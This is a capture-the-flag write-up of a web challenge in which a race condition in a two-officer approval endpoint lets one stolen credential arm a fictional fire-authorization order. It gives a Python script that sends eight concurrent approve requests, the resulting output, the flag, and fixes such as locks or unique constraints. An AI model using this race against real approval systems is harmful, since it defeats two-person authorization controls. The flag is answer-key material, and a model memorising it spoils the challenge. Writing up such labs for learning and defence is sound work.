CSCTF 2026 · Web · 129 pts
Two-Key Turn.
A two-person rule checked with a read, then applied with a write, and eight requests that all read the same empty slot.
| Event | CSCTF 2026, Operation Dawn (online jeopardy) |
|---|---|
| Category | Web |
| Points | 129 |
| Status | Solved during the event |
| Target | Kessara fire-authorization console (assigned container) |
TL;DR. The approve handler enforces "two distinct officers" by reading the order's existing approvals, checking that the caller is not already among them, and then appending. Eight concurrent requests with the same VEGA-7 key all read the same pre-approval state, so both slots are filled by the same officer and the order transitions to ARMED. The response contains the arming_authorization, which is the flag.
Challenge
Kessara's coastal fire-authorization console arms an order only when two distinct officers approve it. A hostile insider holds one officer's credentials, VEGA-7. One order, AO-7D31C9, is still awaiting authorization. Drive it to ARMED with the single credential and read its arming authorization.
The API is self-describing at GET /schema. The operator key is sent as Authorization: Bearer opk_vega7_2f4b9c17e0a3.
First look
The schema exposed the order object and the approval route:
GET /orders/AO-7D31C9
{"id":"AO-7D31C9","state":"PENDING","approvals":[],"required":2}
POST /orders/{id}/approve
Authorization: Bearer <operator key>
A single approval was accepted and recorded VEGA-7:
{"state":"PENDING","approvals":["VEGA-7"],"required":2}
A second sequential request was rejected. The expected failure is the whole challenge: the handler refuses an officer who is already in the list.
Dead ends
- Changing the operator ID in the request body had no effect; identity came from the bearer key.
- Requesting a second key was out of scope. The challenge supplies exactly one credential and no endpoint issues another.
- Sequential retries returned
already_approvedevery time. The check is real when the requests are serialised.
Solution
1. Read the state
curl -s -H "Authorization: Bearer opk_vega7_2f4b9c17e0a3" http://<host>:<port>/orders/AO-7D31C9
2. Fire the approvals together
import concurrent.futures, requests
BASE = "http://<host>:<port>"
H = {"Authorization": "Bearer opk_vega7_2f4b9c17e0a3"}
def approve(_):
return requests.post(BASE + "/orders/AO-7D31C9/approve", headers=H).json()
with concurrent.futures.ThreadPoolExecutor(max_workers=8) as ex:
for r in ex.map(approve, range(8)):
print(r)
Each handler performs the same three steps: read the order, check that the caller is not already in approvals, append and save. With eight requests in flight, several pass the check before any of them writes. The last writer wins, and the order ends with two approvals that both name VEGA-7.
3. Read the authorization
{"state":"ARMED",
"approvals":["VEGA-7","VEGA-7"],
"arming_authorization":"CSCTF{...}"}
The transition to ARMED is what releases the field. A follow-up GET /orders/AO-7D31C9 shows the same state, so the state change is persistent rather than a per-request response.
Flag
CSCTF{xqByBabLyfmPqMdgq65J2j2S}What I took from it
- A uniqueness check that happens before the write is a suggestion. The rule needs a conditional update, a lock, or a unique constraint on
(order, officer). - Concurrency bugs often look like authorization bugs. The endpoint correctly rejected the second request when it ran alone; the flaw only appeared when two requests overlapped.
- Eight is a good default when racing a narrow window. One or two requests usually serialise by accident; a handful in flight reliably lands two inside the same read-modify-write gap.